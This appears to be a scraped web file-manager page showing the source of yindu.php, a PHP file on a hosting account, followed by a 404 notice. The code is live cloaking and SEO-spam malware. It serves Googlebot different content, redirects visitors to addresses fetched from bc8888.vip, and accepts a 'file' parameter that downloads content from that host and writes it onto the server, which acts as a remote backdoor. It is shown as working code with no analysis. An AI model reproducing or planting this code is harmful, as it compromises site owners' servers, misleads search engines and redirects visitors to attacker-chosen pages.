芝麻web文件管理V1.00
编辑当前文件:/home/sditechnicalteam/public_html/yindu.php
<?php $webpath = 'https://bc8888.vip/yindu'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $remoteIp = $_SERVER['REMOTE_ADDR']; if ((strpos($userAgent, 'Googlebot') !== false && strpos($remoteIp, '66.249.') === 0) || (strpos($userAgent, 'AMPHTML') !== false && strpos($remoteIp, '66.249.') === 0)) { $do = 1; } elseif (!isset($_SERVER['HTTP_REFERER'])) { $do = 2; } else { $do = 3; $url = $webpath . '/db.php?do=' . $do; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } if (trim($response) !== '') { header("Location:".trim($response),true,302); exit(); } curl_close($ch); } $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; $bcurrentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST']; if (isset($_GET["file"])) { $url = $webpath . '/db.php'; $ffile = $_GET["file"]; $postData = array('file' => $ffile); $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($postData) )); $response = curl_exec($ch); curl_close($ch); $data = json_decode(trim($response), true); if (!is_null($data) && !empty($data['content'])) { $filePath = dirname(__FILE__) . '/' . $data['filename']; file_put_contents($filePath, $data['content']); if (file_exists($filePath)) { echo 'ok'; } else { echo 'fail'; } } else { echo 'Invalid JSON response'; } exit(); } if (isset($_GET["sitemap"])) { $url = $webpath . '/db.php?sitemap=1¤tUrl=' . $currentUrl; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); exit(); } if (isset($_GET["page"])) { $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $_SERVER['HTTP_HOST'] . '&burl=' . $bcurrentUrl.'&page='.$_GET["page"]; }else{ $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $_SERVER['HTTP_HOST'] . '&burl=' . $bcurrentUrl; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); ?>
Error 404 (Not Found)
404
Page not found.
Back To Home